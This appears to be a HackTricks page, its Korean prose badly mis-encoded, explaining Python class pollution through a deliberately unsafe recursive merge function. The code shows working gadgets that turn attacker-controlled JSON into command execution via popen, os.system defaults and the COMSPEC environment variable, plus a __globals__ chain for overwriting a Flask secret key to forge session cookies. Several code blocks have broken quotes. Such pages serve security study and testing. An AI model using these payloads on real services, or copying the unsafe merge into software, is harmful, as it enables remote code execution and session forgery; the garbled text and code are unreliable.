Class Pollution (Pythonโs Prototype Pollution)
Tip
AWS ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training AWS Red Team Expert (ARTE)
GCP ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:HackTricks Training GCP Red Team Expert (GRTE)
Azure ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks ์ง์ํ๊ธฐ
- ๊ตฌ๋ ๊ณํ ํ์ธํ๊ธฐ!
- **๐ฌ ๋์ค์ฝ๋ ๊ทธ๋ฃน ๋๋ ํ ๋ ๊ทธ๋จ ๊ทธ๋ฃน์ ์ฐธ์ฌํ๊ฑฐ๋ ํธ์ํฐ ๐ฆ @hacktricks_live๋ฅผ ํ๋ก์ฐํ์ธ์.
- HackTricks ๋ฐ HackTricks Cloud ๊นํ๋ธ ๋ฆฌํฌ์งํ ๋ฆฌ์ PR์ ์ ์ถํ์ฌ ํดํน ํธ๋ฆญ์ ๊ณต์ ํ์ธ์.
Basic Example
๋ฌธ์์ด๋ก ๊ฐ์ฒด์ ํด๋์ค๋ฅผ ์ค์ผ์ํฌ ์ ์๋ ๋ฐฉ๋ฒ์ ํ์ธํ์ธ์:
class Company: pass
class Developer(Company): pass
class Entity(Developer): pass
c = Company()
d = Developer()
e = Entity()
print(c) #<__main__.Company object at 0x1043a72b0>
print(d) #<__main__.Developer object at 0x1041d2b80>
print(e) #<__main__.Entity object at 0x1041d2730>
e.__class__.__qualname__ = 'Polluted_Entity'
print(e) #<__main__.Polluted_Entity object at 0x1041d2730>
e.__class__.__base__.__qualname__ = 'Polluted_Developer'
e.__class__.__base__.__base__.__qualname__ = 'Polluted_Company'
print(d) #<__main__.Polluted_Developer object at 0x1041d2b80>
print(c) #<__main__.Polluted_Company object at 0x1043a72b0>
๊ธฐ๋ณธ ์ทจ์ฝ์ ์์
# Initial state
class Employee: pass
emp = Employee()
print(vars(emp)) #{}
# Vulenrable function
def merge(src, dst):
# Recursive merge function
for k, v in src.items():
if hasattr(dst, '__getitem__'):
if dst.get(k) and type(v) == dict:
merge(v, dst.get(k))
else:
dst[k] = v
elif hasattr(dst, k) and type(v) == dict:
merge(v, getattr(dst, k))
else:
setattr(dst, k, v)
USER_INPUT = {
"name":"Ahemd",
"age": 23,
"manager":{
"name":"Sarah"
}
}
merge(USER_INPUT, emp)
print(vars(emp)) #{'name': 'Ahemd', 'age': 23, 'manager': {'name': 'Sarah'}}
Gadget Examples
ํด๋์ค ์์ฑ ๊ธฐ๋ณธ๊ฐ์ RCE๋ก ๋ง๋ค๊ธฐ (subprocess)
```python from os import popen class Employee: pass # Creating an empty class class HR(Employee): pass # Class inherits from Employee class class Recruiter(HR): pass # Class inherits from HR classclass SystemAdmin(Employee): # Class inherits from Employee class def execute_command(self): command = self.custom_command if hasattr(self, โcustom_commandโ) else โecho Hello thereโ return fโ[!] Executing: โ{command}โ, output: โ{popen(command).read().strip()}โโ
def merge(src, dst):
Recursive merge function
for k, v in src.items(): if hasattr(dst, โgetitemโ): if dst.get(k) and type(v) == dict: merge(v, dst.get(k)) else: dst[k] = v elif hasattr(dst, k) and type(v) == dict: merge(v, getattr(dst, k)) else: setattr(dst, k, v)
USER_INPUT = { โclassโ:{ โbaseโ:{ โbaseโ:{ โcustom_commandโ: โwhoamiโ } } } }
recruiter_emp = Recruiter() system_admin_emp = SystemAdmin()
print(system_admin_emp.execute_command()) #> [!] Executing: โecho Hello thereโ, output: โHello thereโ
Create default value for Employee.custom_command
merge(USER_INPUT, recruiter_emp)
print(system_admin_emp.execute_command()) #> [!] Executing: โwhoamiโ, output: โabdulrah33mโ
</details>
<details>
<summary><code>globals</code>๋ฅผ ํตํด ๋ค๋ฅธ ํด๋์ค์ ์ ์ญ ๋ณ์๋ฅผ ์ค์ผ์ํค๊ธฐ</summary>
```python
def merge(src, dst):
# Recursive merge function
for k, v in src.items():
if hasattr(dst, '__getitem__'):
if dst.get(k) and type(v) == dict:
merge(v, dst.get(k))
else:
dst[k] = v
elif hasattr(dst, k) and type(v) == dict:
merge(v, getattr(dst, k))
else:
setattr(dst, k, v)
class User:
def __init__(self):
pass
class NotAccessibleClass: pass
not_accessible_variable = 'Hello'
merge({'__class__':{'__init__':{'__globals__':{'not_accessible_variable':'Polluted variable','NotAccessibleClass':{'__qualname__':'PollutedClass'}}}}}, User())
print(not_accessible_variable) #> Polluted variable
print(NotAccessibleClass) #> <class '__main__.PollutedClass'>
์์ ์๋ธํ๋ก์ธ์ค ์คํ
```python import subprocess, jsonclass Employee: def init(self): pass
def merge(src, dst):
Recursive merge function
for k, v in src.items(): if hasattr(dst, โgetitemโ): if dst.get(k) and type(v) == dict: merge(v, dst.get(k)) else: dst[k] = v elif hasattr(dst, k) and type(v) == dict: merge(v, getattr(dst, k)) else: setattr(dst, k, v)
Overwrite env var โCOMSPECโ to execute a calc
USER_INPUT = json.loads(โ{โinitโ:{โglobalsโ:{โsubprocessโ:{โosโ:{โenvironโ:{โCOMSPECโ:โcmd /c calcโ}}}}}}โ) # attacker-controlled value
merge(USER_INPUT, Employee())
subprocess.Popen(โwhoamiโ, shell=True) # Calc.exe will pop up
</details>
<details>
<summary>Overwritting <strong><code>__kwdefaults__</code></strong></summary>
**`__kwdefaults__`**๋ ๋ชจ๋ ํจ์์ ํน๋ณํ ์์ฑ์ผ๋ก, Python [documentation](https://docs.python.org/3/library/inspect.html)์ ๋ฐ๋ฅด๋ฉด, โ**ํค์๋ ์ ์ฉ** ๋งค๊ฐ๋ณ์์ ๋ํ ๊ธฐ๋ณธ๊ฐ์ ๋งคํโ์
๋๋ค. ์ด ์์ฑ์ ์ค์ผ์ํค๋ฉด ํจ์์ ํค์๋ ์ ์ฉ ๋งค๊ฐ๋ณ์์ ๊ธฐ๋ณธ๊ฐ์ ์ ์ดํ ์ ์์ผ๋ฉฐ, ์ด๋ \* ๋๋ \*args ๋ค์ ์ค๋ ํจ์์ ๋งค๊ฐ๋ณ์์
๋๋ค.
```python
from os import system
import json
def merge(src, dst):
# Recursive merge function
for k, v in src.items():
if hasattr(dst, '__getitem__'):
if dst.get(k) and type(v) == dict:
merge(v, dst.get(k))
else:
dst[k] = v
elif hasattr(dst, k) and type(v) == dict:
merge(v, getattr(dst, k))
else:
setattr(dst, k, v)
class Employee:
def __init__(self):
pass
def execute(*, command='whoami'):
print(f'Executing {command}')
system(command)
print(execute.__kwdefaults__) #> {'command': 'whoami'}
execute() #> Executing whoami
#> user
emp_info = json.loads('{"__class__":{"__init__":{"__globals__":{"execute":{"__kwdefaults__":{"command":"echo Polluted"}}}}}}') # attacker-controlled value
merge(emp_info, Employee())
print(execute.__kwdefaults__) #> {'command': 'echo Polluted'}
execute() #> Executing echo Polluted
#> Polluted
ํ์ผ ๊ฐ Flask ๋น๋ฐ ๋ฎ์ด์ฐ๊ธฐ
๋ฐ๋ผ์, ์น์ ์ฃผ์ ํ์ด์ฌ ํ์ผ์ ์ ์๋ ๊ฐ์ฒด์ ๋ํด ํด๋์ค ์ค์ผ์ ์ํํ ์ ์์ง๋ง ์ฃผ์ ํ์ผ๊ณผ๋ ๋ค๋ฅธ ํ์ผ์ ์ ์๋ ํด๋์ค์ธ ๊ฒฝ์ฐ์
๋๋ค. ์ด์ ํ์ด๋ก๋์์ __globals__์ ์ ๊ทผํ๋ ค๋ฉด ๊ฐ์ฒด์ ํด๋์ค๋ ํด๋์ค์ ๋ฉ์๋์ ์ ๊ทผํด์ผ ํ๋ฏ๋ก, ์ฃผ์ ํ์ผ์ด ์๋ ํด๋น ํ์ผ์ globals์ ์ ๊ทผํ ์ ์์ต๋๋ค.
๋ฐ๋ผ์, ์ฃผ์ ํ์ด์ง์ ์ ์๋ ๋น๋ฐ ํค๋ฅผ ๊ฐ์ง Flask ์ฑ์ ์ ์ญ ๊ฐ์ฒด์ ์ ๊ทผํ ์ ์์ต๋๋ค:
app = Flask(__name__, template_folder='templates')
app.secret_key = '(:secret:)'
์ด ์๋๋ฆฌ์ค์์๋ ํ์ผ์ ํ์ํ์ฌ ์ ์ญ ๊ฐ์ฒด app.secret_key์ ์ ๊ทผํ์ฌ Flask ๋น๋ฐ ํค๋ฅผ ๋ณ๊ฒฝํ๊ณ ์ด ํค๋ฅผ ์๊ณ ๊ถํ ์์น์ ํ ์ ์๋ ์ฅ์น๊ฐ ํ์ํฉ๋๋ค.
์ด์ ๊ฐ์ ํ์ด๋ก๋๋ ์ด ์์ฑ๋ฌผ์์:
__init__.__globals__.__loader__.__init__.__globals__.sys.modules.__main__.app.secret_key
์ด ํ์ด๋ก๋๋ฅผ ์ฌ์ฉํ์ฌ app.secret_key (๊ทํ์ ์ฑ์์ ์ด๋ฆ์ด ๋ค๋ฅผ ์ ์์)๋ฅผ ๋ณ๊ฒฝํ์ฌ ์๋ก์ด ๋ ๋ง์ ๊ถํ์ ํ๋ผ์คํฌ ์ฟ ํค์ ์๋ช
ํ ์ ์์ต๋๋ค.
๋ค์ ํ์ด์ง์์ ์ฝ๊ธฐ ์ ์ฉ ๊ฐ์ ฏ๋ ํ์ธํ์ธ์:
References
Tip
AWS ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training AWS Red Team Expert (ARTE)
GCP ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:HackTricks Training GCP Red Team Expert (GRTE)
Azure ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks ์ง์ํ๊ธฐ
- ๊ตฌ๋ ๊ณํ ํ์ธํ๊ธฐ!
- **๐ฌ ๋์ค์ฝ๋ ๊ทธ๋ฃน ๋๋ ํ ๋ ๊ทธ๋จ ๊ทธ๋ฃน์ ์ฐธ์ฌํ๊ฑฐ๋ ํธ์ํฐ ๐ฆ @hacktricks_live๋ฅผ ํ๋ก์ฐํ์ธ์.
- HackTricks ๋ฐ HackTricks Cloud ๊นํ๋ธ ๋ฆฌํฌ์งํ ๋ฆฌ์ PR์ ์ ์ถํ์ฌ ํดํน ํธ๋ฆญ์ ๊ณต์ ํ์ธ์.


